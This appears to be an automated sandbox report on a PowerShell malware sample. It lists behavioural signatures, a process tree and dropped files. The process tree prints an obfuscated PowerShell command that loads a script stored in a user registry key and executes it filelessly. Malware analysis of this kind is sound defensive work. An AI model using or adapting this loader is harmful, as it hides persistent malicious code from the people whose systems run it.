Analysis
- max time kernel
148s - max time network
133s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
17/10/2026, 06:30
General
- Target keuasmgejegmeahe201.ps1
- Size 40KB
- Sample261017-g9jrbsty6p
- SHA256 f9b2998e4eb4b187c67e15fda09ce3ad3796d56a0202b3e97278ab82f0609677
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\keuasmgejegmeahe201.ps11⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\lf53ewml\lf53ewml.cmdline"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAAFC.tmp" "c:\Users\Admin\AppData\Local\Temp\lf53ewml\CSC82F7332D21BD488EB099D38327ADB95E.TMP"3⤵
-
-
-
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe1⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
-
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" --headless C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$ftemasjaftemasja224=694;$jegmeahetenaghet949='uwmgehasuwmgehas261';$zz=(gi ('HK'+'CU:\Software\jegmeahe677uwmgehas')).('Ge'+'tVa'+'lue').Invoke('jqq');$keuasmge570tenaghet=$null;$uwmgehasjegmeahe727=560;.([scriptblock]::Create($zz))"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -W 1 -nop -c "$ftemasjaftemasja224=694;$jegmeahetenaghet949='uwmgehasuwmgehas261';$zz=(gi ('HK'+'CU:\Software\jegmeahe677uwmgehas')).('Ge'+'tVa'+'lue').Invoke('jqq');$keuasmge570tenaghet=$null;$uwmgehasjegmeahe727=560;.([scriptblock]::Create($zz))"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\laczgjy1\laczgjy1.cmdline"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9B09.tmp" "c:\Users\Admin\AppData\Local\Temp\laczgjy1\CSCD47E53D0E7704E8D92D31AC2599343FB.TMP"4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
RES9B09.tmp
RESAAFC.tmp
__PSScriptPolicyTest_5a20jllv.q05.psm1
laczgjy1.dll
lf53ewml.dll
CSCD47E53D0E7704E8D92D31AC2599343FB.TMP
laczgjy1.cmdline
CSC82F7332D21BD488EB099D38327ADB95E.TMP
lf53ewml.0.cs
lf53ewml.cmdline
memory/3692-49-0x000001EB57A70000-0x000001EB57A78000-memory.dmp
memory/6124-16-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-31-0x00000159B0E90000-0x00000159B0E98000-memory.dmp
memory/6124-0-0x00007FFA50ECF000-0x00007FFA50ED0000-memory.dmp
memory/6124-17-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-18-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-14-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-13-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-12-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-11-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-15-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-10-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-33-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-9-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-8-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-7-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-6-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-5-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-4-0x00007FFA50D40000-0x00007FFA516E4000-memory.dmp
memory/6124-3-0x0000015998940000-0x0000015998962000-memory.dmp